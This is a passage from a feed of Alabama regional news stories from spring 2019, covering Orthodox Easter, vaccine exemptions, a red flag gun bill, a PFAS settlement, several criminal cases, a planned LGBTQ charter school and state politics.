belief and practice of the Christian church, through nearly 2,000 years of continuous tradition. Saint Symeon does not have pews, following the tradition of Eastern Orthodoxy. People stand for most of the service, although there are a few seats for the elderly or sick. Orthodox worship is biblically based with frequent readings of the gospels and hymns full of biblical references. I love it all, said Mary Ann Stritikus, a member of the Greek Orthodox Cathedral. There is music we only sing at this time of year. Its beautiful. This weekend will be celebrated as Easter in Alabama at St. Nicholas Russian Orthodox Church in Brookside; St. Symeon Orthodox Church in Birmingham; Malbis Memorial in Daphne, Annunciation Greek Orthodox in Mobile; Holy Cross-St. Constantine and Helen Greek Orthodox Church in Huntsville; Greek Orthodox Church of the Annunciation of Theotokos in Montgomery; St. Anthanasios Greek Orthodox Church in Gulf Shores; St. Michael the Archangel Eastern Orthodox Church in Huntsville; and at four congregations affiliated with the Eastern American Diocese of the Russian Orthodox Church outside Russia: Chapel of Saint Xenia the Blessed in Huntsville; St. Luke Mission in Anniston; St. John Cassian Chapel in Bessemer; and St. Lawrence Mission in Alabaster. Starting next week, fans of Yo Mamas in downtown Birmingham will be able to order the restaurants famous chicken & waffles for breakfast. On April 29, Yo Mamas will start serving breakfast from 8 a.m. to 10 a.m, Monday to Friday. The restaurant hosts brunch every second and last Saturday of the month. Most of the brunch items will also be available for breakfast, including the chicken and waffles, chicken and pancakes, and salmon croquettes. Diners will also be able to order any chicken dish with a side of pancakes or French toast. Gluten free French toast, pancakes, and toast are also available. This week, Yelp Birmingham listed Yo Mamas on its 50 top places to eat. Last year, Alabama Media Group honored owner Denise Peterson as one of the 50 Women Who Shape the State. In 2017, The Cooking Channel featured Yo Mamas on its travel and food show, Cheap Eats." Hosted by Ali Khan, the episode took viewers on a 12-hour tour of Birmingham as Khan searched for the best deals in the city. Yo Mamas owner Denise Peterson shared more details about the breakfast menu with television host Joy King. You can watch the full segment below. An 18-year-old Mobile native died this week after collapsing during Navy boot camp. Kelsey Nobles, a Baker High School graduate, had just finished her final physical fitness test when she collapsed and couldnt be revived, Nobles father, Harold Nobles, told WKRG. Kelsey was taken to a civilian hospital where she was pronounced dead. Harold Nobles said his daughter was just full of energy. She would give anyone anything, her last her dollar. She was the sweetest soul. That's the best way I can describe her, he said. Harold Nobles said the family has questions about the teens death, the second under similar circumstances at the Navy Recruit Training Center in Great Lakes Illinois. These young people are so excited about serving their country and going into the military. Are they doing enough to check them? Does physical testing need to be more in-depth? he asked. In March, 20-year-old Navy recruit Kierra Evans of Louisiana, collapsed during the final running phase of her fitness test. Both deaths are under investigation. In a statement to Navy Times, the training center said it takes the welfare of our recruits and sailors very seriously. Our thoughts are with Seaman Recruit Nobles family and friends during this tragic time. More than 3,500 Alabama students attend school despite not having Certificate of Immunizations, utilizing a law that allows parents to file for an exemption based on religious objections. Students in both public and private schools in Alabama are required present documentation proving theyve received vaccinations for diphtheria, pertussis, tetanus, polio, measles, mumps, rubella and varicella. Almost every state, however, allows for some type of exemption, with Alabama permitting exceptions for those who object to vaccinations on religious or medical reasons. Some states also allow for personal/conscientious belief objections. The Certificate of Religious Exemption presented like the Certificate of Immunization can only be issued by the county health department. Applicants must submit a written objection and watch a video on the importance of vaccinations before the certificate is issued. Alabama law does allow school districts to keep children with religious exemptions out of school if an outbreak occurs. Parents are not required to prove membership of a church that objects to vaccinations. Such exemptions are drawing increased scrutiny, however, amid a recent outbreak of measles. The Centers for Disease Control and Prevention has confirmed 626 cases of measles this year, the highest number since the virus was eliminated from the U.S. in 2000. Twenty states have reported measles cases, most are centered in New York and Washington state. The American Medical Association has been vocal in its opposition to exemptions except in the rarest of cases. The reductions we have seen in vaccination coverage threaten to erase many years of progress as nearly eliminated and preventable diseases return, resulting in illness, disability and death. To protect our communities health, it is vital that individuals not be permitted to opt out of immunizations solely as a matter of convenience or misinformation said AMA President Barbara L. McAneny, M.D. The AMA strongly supports legislation that eliminates non-medical exemptions from immunizations, and we will continue to actively urge policymakers to eliminate non-medical exemptions from immunizations. Religious exemption rates Statewide, 3,587 students applied for vaccine exemptions based on religious reasons in the 2017-2018 school year, according to the most recent tracking by the Alabama Department of Public Health. That figure is up from 3,325 and 3,066 in the previous two school years. Only two counties have religious exemption rates above 1 percent of total student population: Cullman (1.28 percent) and Baldwin (1.15 percent). The remainder fall below 1 percent. Three-hundred and 21 students received medical exemptions for vaccinations in 2017-2018. Religious exemption rates for schools by county: Heres a look at religious exemption numbers for public and private schools by county. The figures do not include numbers from those those who sought religious exemptions for certain vaccines while presenting blue cards for others. Autauga - 58 Baldwin - 396 Barbour - 5 Bibb - 17 Blount - 41 Bullock - N/A Butler - 0 Calhoun - 80 Chambers - 6 Cherokee - 14 Chilton - 35 Choctaw - 0 Clarke - 2 Clay - 5 Cleburne - N/A Coffee - 38 Colbert - 24 Conecuh - 0 Coosa - 0 Covington - 15 Crenshaw - 2 Cullman - 131 Dale - 19 Dallas - 7 DeKalb - 96 Elmore - 54 Escambia - 11 Etowah - 85 Fayette - 1 Franklin - 16 Geneva - 12 Greene - 0 Hale - 0 Henry - 17 Houston - 87 Jackson - 75 Jefferson - 398 Lamar - 4 Lauderdale - 77 Lawrence - 8 Lee - 68 Limestone - 52 Lowndes - 68 Macon - N/A Madison - 420 Marengo - 3 Marion - 19 Marshall - 80 Mobile - 221 Monroe - 14 Montgomery - 73 Morgan - 69 Perry - 0 Pickens - 1 Pike - 10 Randolph - 18 Russell - 13 Shelby - 328 St. Clair - 63 Sumter - 1 Talladega - 27 Tallapoosa - 29 Tuscaloosa - 135 Walker - 18 Washington - 1 Wilcox - 1 Winston - 19 The Alabama legislature is considering a bill that would allow people to be stripped of their right to purchase or possess guns if they are deemed by a court to be a danger to themselves or others. House Bill 265, called the Gun Violence Protective Order Act, sponsored by State Rep. Merika Coleman, D-Birmingham, is a red flag" bill similar to others passed across the country. Colemans bill would create a measure allowing the court to prevent a person deemed a threat to themselves or others from owning or buying a firearm for one year. The bill, if signed into law, would require the surrender of all firearms and ammunition and would allow law enforcement to search the residence for firearms and ammunition. Family members, law enforcement officers or educators could request a gun violence protective order, which the court could issue immediately without notice to the person it concerned, based solely on information and testimony from the petitioner. This is called an ex parte gun violence protective order. Coleman said some of her Republican colleagues took issue with this portion of the bill. Gun rights advocates also took issue with it. We cant let somebody take away a constitutional right without there being some kind of checks in place. Weve got laws provide due process. The 'red flag laws go around that, said Eddie Fulmer of Bama Carry, an Alabama-based gun rights group. Fulmer said red flag" laws leave room for family members to request a protective order based on false information about threats that could result in someone losing their right to own a gun. Its a big thing to take away someones constitutional right, he said. However, Fulmer said he would support a measure that would remove guns from someone deemed mentally ill by a mental health professional. Removing guns based on claims made by relatives is something he said he cant support. Coleman said shes optimistic the legislature can work out a bill appropriate for Alabama. I want to give them the opportunity to work through it and see if something we can pass. I am optimistic I have opened their hearts and minds, she said. The bill remains in the civil subcommittee of the House Judiciary Committee, so the exact language of the bill isnt final. The legislation is modeled after other red flag bills enacted across the country. Such bills in other states have received bipartisan support. Fifteen states and the District of Columbia have enacted red flag" laws, including California, Connecticut, Colorado, Delaware, the District of Columbia, Florida, Illinois, Indiana, Maryland, Massachusetts, New Jersey, New York, Oregon, Rhode Island, Vermont and Washington, according to Everytown for Gun Safety. Coleman said she hopes Alabama will not wait for a mass shooting to pass the law, as some other states did. These bills are usually passed following a tragedy. Do we have to wait until we have a mass shooting in the state of Alabama, or even another suicide situation? Do we have to wait until the tragedy to do something? Coleman said. The Alabama Chapter of Moms Demand Action for Gun Sense strongly supports the bill and testified on its behalf in the legislature last week. We believe that family, teachers and law enforcement are the ones that can spot a dangerous situation early. 'Red flag laws and gun violence protective orders are a tool for family to be able to act, said Dana Ellis, chapter leader of the Alabama chapter of Moms Demand Action for Gun Sense. Two-thirds of gun deaths right now are suicides. If a family could take action and save a family members life, how critical is that? If a teacher was concerned about a kid, this kind of legislation can save lives. Frederick Vars, a professor at the Culverhouse School of Law at the University of Alabama, said research on red flag" bills suggests they are effective at preventing gun suicides. He pointed to a study on Connecticuts red flag law which was enacted in 1999. The study suggested one suicide was averted for every 10 to 11 gun seizure cases. Another study found the law was associated in a 14 percent reduction in firearm suicide rates in Connecticut and a 7.5 percent reduction in the firearm suicide rate in Indiana, according to Everytown. The bill is difficult. There are legitimate arguments on both sides, especially with taking away guns from someone who would otherwise have a legal right to a firearm, Vars said. How do you value that one life versus wrongly seizing guns from people who wouldnt suicide or misuse guns? Weighing a temporary infringement, versus the potential of saving lives, I would strike the balance in favor of lives. Bobby Timmons, the executive director of the Alabama Sheriffs Association, said he hadnt personally examined all the language of HB 265, but he said something has to be done to notify law enforcement of a person who might pose a danger. He mentioned the shooting at Marjorie Stoneman Douglass High School in Parkland, Florida, and the uproar about warning signs or red flags people noticed, but failed to report to proper authorities. The main thing is bringing people back to sensibility. If you know a kid will go into the school and shoot, tell someone. Dont be afraid. Tell it before it happens. Less said best said, but not if you know something thats criminally intent, Timmons said. Timmons said hes interested to see more about the effectiveness of these red flag" bills. If it ends up being a good thing, and it is good to correct crime, then good. If not, lets see where it fell, he said. West Morgan East Lawrence Water and Sewer Authority and chemical giant 3M have reached a settlement over who will pay for a new multi-million dollar filtration system to remove industrial contaminants from the drinking water of thousands of people in north Alabama. The company and water authority issued a joint statement today regarding the settlement of a federal lawsuit filed by the water authority against 3M over release of chemicals known as per- and poly-fluoroalkyl substances, - or PFAS for short - into the Tennessee River. This settlement will allow for a new filtration system at WMEL (the water authority). WMEL will continue to supply safe drinking water that meets all applicable PFAS guidelines without passing on any additional construction or treatment costs a great thing for WMEL and its customers in Morgan and Lawrence Counties." The settlement pertains only to the lawsuit between the water and sewer authority and 3M, according to the statement. At least one other lawsuit filed by residents is pending in federal court over related issues. "Now that the litigation between WMEL and 3M is concluded, neither 3M nor WMEL will make any further statements, both parties stated. The amount of the settlement was not disclosed, but the water authority has previously said a new filter system could cost $30-50 million. The water authority had sued 3M to pay for a new water filtration system to remove industrial chemicals that 3M manufactured and used for decades at its facility on the Tennessee River in Decatur. The water authority provides service directly or through other utilities for about 20,000 metered customers in north Alabama from an intake on the Tennessee River downstream of the 3M facility. PFOA and PFOS are not found in nature but were widely used to make non-stick, waterproof or stain resistant coatings on consumer products like non-stick cookware, waterproof clothing or Scotchgard stain repellent. By nature, the chemicals are very slow to break down in the environment. They can last for decades after use and build up over time in human and animal tissue. Though 3M stopped producing those chemicals in the early 2000s, they are now so widespread that nearly every person on earth has some level of them in their blood. However, in 2016, the U.S. Environmental Protection Agency warned that those chemicals were associated with health problems, including cancer at concentrations as low as 70 parts per trillion. After that health advisory, the WMEL general manager Don Sims issued a do not drink advisory until the water system could get concentrations of the chemicals below those health advisory thresholds. The water authority constructed a $4 million temporary activated carbon filter system to remove those chemicals from the water. The water authority was preparing to vote on a rate increase to cover the costs of the new filter system, which may not be necessary with the settlement. PFOA and PFOS are just two of a class of thousands of chemicals known as PFAS. The EPA has said it is moving forward to establish hard limits on certain PFAS chemicals in drinking water, including PFOA and PFOS. As of now, the health advisory limit is only a recommendation, not a regulation. Today marks the one-year anniversary of the opening of two historical sites in Montgomery: one that illustrates the evolution of racial discrimination from slavery to mass incarceration and another that honors those who were killed through different forms of racially-charged violence. The National Memorial for Peace and Justice and the Legacy Museum has drawn nearly half a million visitors from across the world since the Equal Justice Initiative opened the exhibits last April. The Legacy Museum: From Enslavement to Mass Incarceration is situated in a former slave warehouse and located a block away from what was once one of the most prominent slave auction spaces. The 11,000-square-foot Legacy Museum uses sculptures, exhibits and recorded messages from Alabama's prison inmates to show how slavery and mass incarceration are connected. The national lynching memorial features more than 800 steel monuments engraved with the names of more than 4,400 victims who were killed by lynchings and other forms of racial killings between 1877 and 1950. Each monument represents a county where a lynching was documented. EJI made duplicate monuments for the Memorial Monument Placement Initiative, in the hopes that each county will claim their monument to create their own local memorials. The process for claiming the duplicate memorials will be launched later this year, EJI says. EJI will unveil a new monument recognizing 24 men, women and children, including Emmet Till and other civil rights activists, who were killed during racially motivated attacks after the 1950s during a ceremony at the memorial on Monday, April 29, at 3:30 p.m. Civil rights activists were often the targets of racial violence after the 1950s, according to EJI. Executive Director Bryan Stevenson said he is amazed by the emails and letters of support from people across the world who were impacted by visiting the sites. He said Americans have to be willing to look into the nation's dark past when it comes to racial injustice. I think there is something better waiting for our country when it comes to racial equality and healthy communities, Stevenson said. But we cant achieve this better future without confronting our difficult past which continues to haunt, burden and undermine our quest for a just society. Missing Mobile nurse Terri Sullivan was killed by blunt force trauma after being kidnapped, according to legal documentation released ahead of a first court appearance by her husband and his ex-wife Monday. Samuel Sullivan, 42, and Jenny Sullivan, 44, are charged with capital murder by prosecutors, who say they kidnapped Terri Sullivan from her home in Washington County on Jan. 20 before setting her rental car alight and leaving her remains scattered 75 miles away in Grand Bay, Mobile County. Law enforcement found the burnt out car and her remains on the Grand Bay Wilmer Road March 28. Investigators found receipts and other evidence of two mobile phones being bought by Samuel and Jenny Sullivan that were activated in Wilmer and later turned on at Terri Sullivans address in Tibbie, Washington County. The phones were then traced back to Mobile where one phone went to the home shared by the suspects and one phone went to the site of where the burned out car and remains were found. The pair were picked up in Wilmer, a small community close to the state border with Mississippi, and were immediately transported to Washington County where they were both charged. Its not clear if Mobile-based law enforcement had any hand in their capture or why the case isnt being tried in Mobile. Mobile District Attorney Ashley Rich did not respond to questions regarding jurisdiction. Samuel and Jenny Sullivan were booked in to the Washington County jail Thursday afternoon. Both were initially charged with kidnapping and issued a $60,000 bond, according to Sheriff Stringer, who said at the time further charges relating to Terri Sullivan death could be brought once a positive ID on the remains found in Mobile County could be made. Those charges came just hours later. Jenny Sullivan is still locked up in Washington County jail, but Samuel Sullivan was moved to Clarke County later Thursday afternoon. Law enforcement did not respond to calls about why he was moved. District Court Judge Jerry L. Turner has been appointed to the case and has already issued a gag order preventing any extra judicial information connected to the case being given to media or published on social media. The pair are set to appear at 9 a.m. in Washington County for a hearing. A Madison County father pleaded guilty today in the death of his infant daughter, who suffered a fractured skull nearly three years ago. Zackary Harbin pleaded guilty to manslaughter, a Class B felony. In exchange for his guilty plea, Harbin was sentenced to 20 years. The sentence was split for Harbin to serve five years in prison and five years on probation. Harbin is getting credit for the nearly three years he spent in the Madison County jail awaiting the outcome of his case, meaning the 21-year-old can finish his prison sentence in just over two years. Harbins plea came just days before he was scheduled to go on trial for capital murder in the July 2016 death of his daughter, Rachel, who lived less than a month. If convicted at trial, Harbin would face life in prison without the possibility of parole. This outcome was in our clients best interest, said Huntsville defense attorney Bruce Gardner, who represented Harbin along with lawyer Brice Callaway. Madison County authorities began investigating the case after Rachel was taken to Huntsville Hospital in 2016. Rachel died days later from the skull fracture, said Assistant District Attorney Tim Douthit. Its still unclear exactly what happened to Rachel on July 5, 2016. Rachel had a check-up at the doctors office and went on a shopping trip with her parents. Douthit said prosecutors believe she suffered the skull fracture after a nap later that day. Prosecutors say Harbin, Rachel and the babys mother napped and woke up to Rachel crying. At some point, the mother left the room, and Harbin said the baby became unresponsive. That, Douthit said, is the time period when prosecutors believe Rachel suffered the fractured skull. Harbin admitted he was guilty during a hearing in Madison County Circuit Judge Claude Hundleys courtroom. But Harbin didnt say how his daughter was fatally injured. Rachels mother, 22-year-old Madison Eagan, pleaded guilty in 2017 to a misdemeanor charge of false reporting to law enforcement. She was sentenced to one year in jail. Initially, both parents were indicted on charges of capital murder. Their charges were reduced through plea bargaining. Alabamas first LGBTQ-affirming charter school could open in Birmingham in the next few years. Birmingham AIDS Outreach announced Thursday it is working on an application for the charter school, which will be known as Magic City Acceptance Academy. BAO plans to turn in the application in December. After submission, the process could take up to two years. BAO Development Director Kyle Pugh said the new academy would build on the organizations mission to provide free services for LGBTQ youth. The organization has been thinking about opening the academy for two years. "Our hope is that this school will give them the education they need and deserve while also giving them the whole social, high school experience," Pugh said. More than 800 LGBTQ youth have received services through the Magic City Acceptance Center, which BAO opened five years ago to provide many free programs, including a legal clinic, counseling, HIV/STI/STD testing and health and wellness workshops. Charter schools are public schools that receive state and federal funds, but function as a freestanding alternatives to established public school systems. Each charter school sets goals. If a charter school doesn't meet those goals, it could be shut down. Pugh said that through discussions with the youth at the center, BAO learned many LGBTQ students aren't thriving in traditional schools. Many drop out of school or get their GED due to bullying, Pugh said. Many LGBTQ students who remain in school protect themselves via isolation. According to the latest state school climate survey by the Gay, Lesbian and Straight Education Network (GLSEN), 79% of LGBTQ students have been verbally harassed or assaulted because of their sexuality and 63% were harassed due to their gender expression. Overall, 77% of students said they experienced anti-LGBTQ discrimination at their school during 2016. Nigel Shelby, a 15-year-old openly gay teen died by suicide in Huntsville on April 18. Initial reports said Nigel was bullied. New Schools for Alabama, the states charter school association, is collaborating with BAO as the organization works on its application. NSA has assisted in opening two charter schools in Alabama. Executive Director Tyler Barnett said he is supporting the Magic City Acceptance Academy because it fulfills the LGBTQ youth's need for safe spaces. "This application has all of the elements to not only deliver a nurturing school environment but also an excellent academic experience, Barnett said. Pugh said that while the curriculum will stay the same, Magic City Acceptance Academy will better prepare students for their futures after high school by educating them in an environment where they won't be teased by students, faculty or staff. "It's a place where they can focus on learning rather than surviving," Pugh said. The academy will also be for straight allies. Growing up, Pugh said he saw allies who faced the same intimidation as their LGBTQ peers. "You've always had those allies who stuck up for you. As a result, they were bullied just as much for defending you," Pugh said. "A lot in youth in general crave a diverse world. This gives them the opportunity to be around people they connect with even if they aren't officially with the LGBTQ community." There are two charter schools currently operating in Alabama: ACCEL Day and Evening Academy in Mobile which focuses on at-risk youth, and University Charter School in Livingston, a K-8 school. Three additional charter schools will open in August: Legacy Prep in Birmingham, Woodland Prep in Washington County, and LEAD Academy in Montgomery. All gained approval through the Alabama commission. Since BAO wants to open the school in Birmingham, it will first have to submit an application to the Birmingham Board of Education. If denied by board members, BAO could then appeal the denial to the Alabama Public Charter School Commission. The Birmingham Board of Education has of history of being unsupportive of charter schools. Board members rejected an application for the creation of I3 Academy in January. The state charter school commission overruled the rejection in March. Pugh said he has faith in Birmingham's school system. Were not trying to take anything from anyone. We are just trying to stop students from dropping out and not getting their education, he said. These are bright kids. Any kid given the opportunity to have an education has all the potential in the world. They just have to feel safe. Huntsville city councilwoman Frances Akridge wore a rainbow button to Thursdays council meeting and almost choked on her words when she explained why. During the meeting, Akridge said she wore the button to remember Nigel Shelby a 15-year-old freshman at Huntsville High School who took his own life April 18, police said. Shelbys mother said her son was bullied because he was openly gay and, along with depression, was what led him to kill himself. "My heart really is breaking for everybody," Akridge said with a catch in her throat. "I just want to beg everybody to be kind." The button worn by Huntsville city councilwoman Frances Akridge to the April 25, 2019 council meeting in remembrance of Nigel Shelby. Akridge spoke during a segment of the meeting where council members have the floor to speak on any subject. Akridge, the next-to-last council member to speak, used part of her time to talk briefly about Shelby. Council President Devyn Keith followed and spoke more extensively about Shelby. "Nigel Shelby was his name," Keith said. "I think we all have to ask ourselves, given a community where we have had some level of success that is probably unprecedented across the state of Alabama, we are different in the city of Huntsville. We are a melting pot of intelligence, of economic development, of leadership. Overall, I think we represent something different than the history of this state in inclusion. Do we get it perfect? Absolutely not. We have leaders come into this community or raised in this community who see the importance of open arms, not closed ones. I want to encourage you all to understand that there is an important thing to having an open mouth and an open heart. "As somebody who has to be in a high school more than I probably ever wanted to be (with his foster son), I now realize kids are going through things online, through text messages, through social media that they dont share. And the importance of a conversation with somebody that they never thought they could converse with, what type of impact that can make. Maybe that does save a life. Maybe you save a life just having a conversation about something you yourself was uncomfortable with that you experienced. Being open and honest in a lot of ways makes a difference in the long run. Nigel Shelby is no longer with us. But I hope he is the last that we ever speak from this dais about. Let us continue to pray for his family, this great city, this great state and this great nation." Shelbys mother, Camika Shelby, told Huntsville television station WAFF that Nigel told her he was gay two years ago. "Coming out at such a young age, it can be hard," Camika Shelby said. "You don't know if you are going to be accepted. He didn't know if I was going to accept him," Shelby said. "And when you have a kid who is already depressed and going through a lot emotionally, for you to call him names that you shouldn't call him or say stuff to them, it sometimes has a worse effect than it would on a child who is not struggling with depression." New Jersey Sen. Cory Booker, who is running for the Democratic nomination for president, said in a message posted on Twitter that, My heart breaks for Nigel and his family and linked to a story about Shelbys death. The question was about reducing gun violence in Kentucky. The states governor, though, wanted to talk about a favorite pet peeve: the thousands of public school teachers who have called in sick to protest legislation they complained weakened education and their pensions. So he combined the two topics by suggesting that the teachers' actions directly led to a 7-year-old girl getting shot. "We had people pretending to be sick when they weren't sick and leaving kids unattended too or in situations that they should not have been in," Kentucky Gov. Matt Bevin (R) told a gathering at the Louisville Rotary Club on Thursday. "A little girl was shot, 7 years old, by another kid because they were somewhere that they weren't intended to be and because the parents didn't have any option, and put them into a situation so they could go to work." Bevin didn't offer evidence that the shooting, which happened last month, was linked to the protests, as opponents swiftly condemned the governor, who is battling slumping poll numbers and has already apologized once for lurid allegations about the teacher protests. "There's plainly something wrong with Matt Bevin. You don't politicize the shooting of a child," tweeted Adam Edelen, a former state auditor seeking the Democratic nomination for governor. Although Bevin didn't go into detail about the shooting, he appeared to be referring to a March 12 incident in Shively, Kentucky, just southwest of Louisville. Around 3 p.m. that day, a 7-year-old girl was accidentally shot in the head by her 11-year-old brother after they found a handgun in a home while their uncle was outside, the Louisville Courier-Journal reported. In an update on March 27, Shively police said the girl was recovering and in "good condition." On the date of the shooting, the local school district was closed because of the teachers' "sickout," according to the Courier-Journal, but it's not clear whether the children - who haven't been identified by police - attended public schools in Jefferson County. The protests that day were part of weeks of action by Kentucky teachers who were demanding more funding for classrooms and for their pension systems - the latest in a national wave of similar strikes and walkouts from West Virginia to Oklahoma. In Kentucky, where teachers are legally forbidden from striking, educators instead have used coordinated sick days to shut down districts and travel to the state capital. Bevin has previously aimed his fury at the protesters. Last spring, the governor claimed that the sickouts would expose children to sexual assault and drug abuse. "I guarantee you somewhere in Kentucky today, a child was sexually assaulted that was left at home because there was nobody there to watch them," Bevin told reporters outside the state Capitol in April 2018. Facing backlash heated enough that the GOP-dominated state House passed two resolutions condemning his claim, Bevin backtracked and apologized to "those who have been hurt by the things that were said." Many of his in-state critics are demanding a similar mea culpa for his new allegation. "Despicable. Matt Bevin is unfit to govern," tweeted Kentucky Attorney General Andy Beshear, a Democrat challenging Edelen in the primary to take on Bevin in November. "Kentucky families, teachers, and kids deserve so much better than this governor." State Rep. Joni Jenkins, D, who represents the Shively area, asked the governor to focus instead on reducing gun violence. "Our community, like the family, is devastated by what occurred," Jenkins said, according to the Courier-Journal. "This should drive us to enact commonsense gun safety, not further a spiteful agenda against teachers." Bevin's office didn't immediately respond to a request for comment on his claims. When reporters after the Thursday meeting asked him for more details about why he made a link between the accidental shooting and the sickouts, he chastised them for the question, calling them "pretty sad." Polling suggests Bevin could face a stiff reelection battle this fall, with a Mason-Dixon survey in December finding him struggling with a 53 percent disapproval rating. Nine years ago, the Deepwater Horizon disaster caused the largest oil spill in U.S. history, polluting Alabamas coastline, ravaging its seafood industry and hurting tourism. Years later, legal settlements from that disaster are making their way into coastal restoration projects. On Friday, two of those projects were recognized by Alabama state officials. Alabama Gov. Kay Ivey, Department of Conservation and Natural Resources Commissioner Chris Blankenship, U.S. Rep. Bradley Byrne of Fairhope, and National Fish and Wildlife Fund representative Tom Kelsch, among others, attended two separate events in Mobile and Baldwin counties commemorating the use of BP oil spill settlement funds for restoration projects: -A $16.5 million restoration to Lightning Point at the southernmost tip of Bayou La Batre. The project, slated to begin this summer and last about 12 months. It includes the construction of 1.5 miles of breakwaters, two 700 to 800-foot-long jetties, and the creation of 40 acres of marsh tidal creeks and habitats supporting wildlife. -A $10.3 million to purchase and protect a combined 470 additional acres at the Bon Secour National Wildlife Refuge west of Gulf Shores. The project was spearheaded by the Conservation Fund, which purchased a 251-acre tract in 2018, followed with a 219-acre property in March. Both tracts were conveyed to the U.S. Fish and Wildlife Service for long-term management and inclusion into the 7,200-acre refuge. Both projects received funding from the criminal settlements stemming from the 2010 Deepwater Horizon disaster. The money is administered by the nonprofit National Fish and Wildlife Foundations Gulf Environment Benefit Fund. Kelsch said the foundation administered a total of $2.5 billion in criminal settlements, and that $200 million was diverted to coastal Alabama to support 145 projects. (The projects) are helping to leave a positive legacy after a terrible tragedy that adversely affected communities and impacted the Gulf Coast, said Kelsch. Lightning Point In Bayou La Batre, the money will be used on a restoration of Lightning Point a small but scenic park located at the end of a road that is lined with seafood processors, marine shops and boat builders. Judy Haner, director of marine programs with the Nature Conservancy of Alabama and who is based in Mobile, said her organization purchased much of the property from a private landowner so it could be restored. After the project is completed, the group will deed it over to the city of Bayou La Batre. The settlement money thats the lions share (of the project), said Haner. She said the National Fish and Wildlife Foundation provided $6.5 million upfront for the Nature Conservancy to purchase the property. Mayor Terry Downing said its his vision that Lightning Park named after its reputation for being a scenic location to watch heat lightning during summer evenings will become a popular community park. People will come for birding, fishing and to look over the Bay, said Downing. The project also includes the creation of a walking trail, a lookout pavilion, and additional parking. Ivey also announced that approximately $250,000 in oil and gas lease revenues through the Gulf of Mexico Energy Security Act (GOMESA), will go toward assisting Bayou La Batre in building a new boat ramp. Haner said the park will be muddy during construction, and encouraged residents to be patient during restoration. Once construction is completed, it will take up to five years for the area between the new breakwaters and the current shoreline to cover in vegetation completely. Bon Secour National Wildlife Refuge At the Bon Secour National Wildlife Refuge, state officials and conservationists praised the work to extend for the first time since the early 1990s -- the permanently protected area along the Gulf of Mexico. The Refuge was first created in 1980, as part of a project backed by former Republican U.S. Rep. Jack Edwards who, at 90 years old, was at a ceremony and was recognized by Ivey and others. Edwards was seated next to Skipper Tonsmeire, a conservationist who has been credited with the vision of creating the wildlife refuge. Raymond Herndon Jr., director of the Central Gulf and Lower Mississippi Region for the nonprofit Conservation Fund, said the 470-acre addition to the refuge furthers the vision first established when Edwards was in Congress. The expansion will help provide permanent protection for coastal habitat including endangered species like the Alabama beach mouse. More than 370 species of birds have been identified on the Refuge during migratory seasons. Byrne, the current congressman, credited Edwards as well but also relayed a personal account of what the refuge meant to him. He called out longtime Bon Secour National Wildlife Refuge volunteer and Fort Morgan peninsula resident Chan West, while reflecting on memories with her family and his duties years ago in helping maintain the roads leading into the refuge. To see that this is going to be preserved for generations to come means everything to me and it means a lot to the people in this part of Alabama, he said. Veteran state Sen. Vivian Davis Figures of Mobile announced today she is running for the top position in the state Democratic Party. Figures, who has served in the state Senate since 1997, will challenge Party Chairwoman Nancy Worley, who has held the position since 2013. Tabitha Isner of Montgomery and Will Boyd of Lauderdale County are also running. The Alabama Democratic Party Executive Committee reelected Worley as chairman last year. But the national Democratic Party ordered a new election after a review of complaints about the way that election was conducted. An election date has not yet been set, the state party office said today. In a news release today, Figures said she can unite the party, which has just one statewide office-holder and holds only about one-fourth of the seats in the Legislature. Its going to take a team effort to unify the party," Figures said. "My leadership skills, experience in politics and, more importantly, my ability to bring people together around issues with my approach to fairness, are needed to rebuild the party. The Alabama Democratic Party is the peoples party and it is time to elect leadership to address the values and issues of the people. Isner is a Montgomery nonprofit executive who was the Democratic nominee for Congress in Alabamas 2nd District last year. Boyd was the Democratic nominee for lieutenant governor last year and is chairman of the Lauderdale County Democratic Party. This is an opinion column. The Alabama Senate passed a lottery bill Thursday, and now its headed to the Alabama House. But before you start itching for scratch-offs, therere a few things about this game you need to understand. For instance, who benefits? Not Alabama, at least not as much as the bills true supporters. Nor is it about education. None of its revenue would go there. Nor is it a windfall. The revenue this lottery would bring in is a fraction of what states of similar size rake in with theirs. No jackpot for education The greatest trick the gambling interests ever pulled was convincing people that the only way to pay for education would be through gambling. Yeah, gambling is grimy, but look at these kids over here wholl get to go to college! That was the pitch then-Gov. Don Siegelman made nearly two decades ago. Its a rationale thats been passed from barstool-to-barstool and pew-to-pew, ever since. But not this time. Significant things have changed. Chief among them, none of this lottery bills revenues would go to education. The paper-only lottery bill, introduced by state Sen. Greg Albritton, would put its revenues into Alabamas General Fund, not the Education Trust Fund. From the General Fund, it would pay for things such as prisons and Medicaid (but not Medicaid expansion). Nothing for K-12 classrooms. No HOPE scholarships for kids with the good grades. As one of my Twitter pals said, the Alabama lottery would pay for incarceration, not education. Nor would the bill raise a great deal of money. Even the sponsor, Albritton, says it would increase state revenue by about $167 million a year. Demographically, South Carolina is more similar to Alabama than any other state. South Carolina has a lottery, and that lottery last year raised $435 million for education there. But Alabamas lottery would bring in a little more than a third of that? No one has given a good explanation for why. There are other reasons here to believe theres something not right with this lottery bill. Its about money (not yours) State Sen. Jim McClendon, R-Springville, proposed his own lottery bill this year, which would raise money similar to South Carolina. On the State House floor, he described how he modeled his bill after lottery laws in other states. None of those other states laws include the word sovereign, but for some reason Albrittons bill does, McClendon said, rhetorically scratching his head. But everybody watching this debate Thursday understood what he was getting at: A legal consequence of Albrittons bill is that it would allow the Poarch Creek Indians to negotiate a compact with Alabama for Class III gambling. The bill also could prohibit Class III gambling at the VictoryLand casino in Macon County, and Greenetrack in Greene County. By doing so, it could give PCI which pays no taxes a monopoly on machine gambling in Alabama. PCI has pumped $4.5 million of campaign contributions into Alabamas political bloodstream since 2013 (a virtual tie for the largest contributor with Business Council of Alabamas Progress PAC). Of that, $65,000 went to Albrittons campaign. Albritton, whos from Atmore, home of PCIs Wind Creek casino. This isnt a lottery bill. Its a gambling machine monopoly bill. Its a bill to benefit one of the largest campaign contributors in Alabama. But like a lottery, it would produce a lot of losers. And one big winner. Kyle Whitmire is the state political columnist for the Alabama Media Group. Want access to the best analysis and in-depth reporting about Alabama each week? Sign up for the weekly Reckon Report newsletter and follow Reckon on Facebook and Twitter. Follow Whitmire on Twitter and Facebook, too. And Instagram. Jeff Sessions was weak, the president of the United States shouted. Donald Trump was livid as angry as aide Steve Bannon had ever seen him. And the worst of his fury was directed at his attorney general. It was March 3, 2017, the day after Sessions recused himself from the Russia investigation. Several of Trump's top advisers but not Sessions had gathered in the Oval Office. Trump screamed at them, but reserved his greatest wrath for the nation's chief law enforcement official. His anger at Sessions wouldn't abate not until he finally 